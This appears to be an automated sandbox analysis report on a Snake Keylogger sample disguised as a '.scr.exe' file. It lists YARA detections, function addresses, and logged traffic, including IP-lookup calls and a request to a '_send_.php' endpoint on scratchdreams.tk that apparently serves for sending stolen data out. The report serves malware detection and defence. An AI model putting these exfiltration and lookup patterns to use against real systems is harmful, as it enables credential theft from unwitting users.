Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CDCC1h	2_2_052CDA18
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CE571h	2_2_052CE2C8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D8945h	2_2_069D8608
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_069D36CE
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D6171h	2_2_069D5EC8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D58C1h	2_2_069D5618
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D5D19h	2_2_069D5A70
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_069D33B8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_069D33A8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D6E79h	2_2_069D6BD0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D65C9h	2_2_069D6320
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D6A21h	2_2_069D6778
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D0741h	2_2_069D0498
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D7751h	2_2_069D74A8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D0B99h	2_2_069D08F0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D72FAh	2_2_069D7050
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D02E9h	2_2_069D0040
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D5441h	2_2_069D5198
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D8459h	2_2_069D81B0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D7BA9h	2_2_069D7900
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D8001h	2_2_069D7D58
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 069D0FF1h	2_2_069D0D48

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168
Source: Joe Sandbox View	IP Address: 172.67.177.134 172.67.177.134
Source: Joe Sandbox View	IP Address: 104.21.27.85 104.21.27.85

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.7:49700 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.165.48.43 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: checkip.dyndns.org

Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: PT98765445670009.scr.exe, 00000002.00000002.3683807412.000000000113B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro2G
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EC0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scratchdreams.tk
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.165.48.43
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.165.48.43$
Source: PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk
Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk/_send_.php?TS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.7:49714 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.PT98765445670009.scr.exe.5500000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.3f93da0.4.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.3fe25d0.2.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.5500000.6.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.3f93da0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.3fe25d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.2f53b10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 1.2.PT98765445670009.scr.exe.2f512e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 00000001.00000002.1240469053.0000000005500000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects downloader injector Author: ditekSHen
Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6880, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6880, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 1_2_02D4AC18	1_2_02D4AC18
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3B388	2_2_02C3B388
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3C1F0	2_2_02C3C1F0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C36168	2_2_02C36168
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C36790	2_2_02C36790
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3C7B1	2_2_02C3C7B1
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3C4D0	2_2_02C3C4D0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3CA91	2_2_02C3CA91
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3FA10	2_2_02C3FA10
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C34B31	2_2_02C34B31
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C398B8	2_2_02C398B8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3EDF0	2_2_02C3EDF0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3E300	2_2_02C3E300
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3E310	2_2_02C3E310
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C335C8	2_2_02C335C8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_02C3B553	2_2_02C3B553
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C0D60	2_2_052C0D60
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C3688	2_2_052C3688
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C7988	2_2_052C7988
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CC8B8	2_2_052CC8B8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C8278	2_2_052C8278
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CCD03	2_2_052CCD03
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CCD10	2_2_052CCD10
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C0D50	2_2_052C0D50
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CD5B0	2_2_052CD5B0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CD5C0	2_2_052CD5C0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CF428	2_2_052CF428
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CF418	2_2_052CF418
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CC460	2_2_052CC460
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CC450	2_2_052CC450
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C04A0	2_2_052C04A0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C0490	2_2_052C0490
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CE720	2_2_052CE720
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CE710	2_2_052CE710
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CB748	2_2_052CB748
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CB758	2_2_052CB758
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CBFF8	2_2_052CBFF8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CEFC1	2_2_052CEFC1
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CEFD0	2_2_052CEFD0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CDE63	2_2_052CDE63
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C3678	2_2_052C3678
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CDE70	2_2_052CDE70
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C0900	2_2_052C0900
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CD168	2_2_052CD168
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CD158	2_2_052CD158
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C71FC	2_2_052C71FC
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C81FF	2_2_052C81FF
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CC008	2_2_052CC008
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C0013	2_2_052C0013
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CF871	2_2_052CF871
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C0040	2_2_052C0040
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CC8A8	2_2_052CC8A8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CF880	2_2_052CF880
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C08F1	2_2_052C08F1
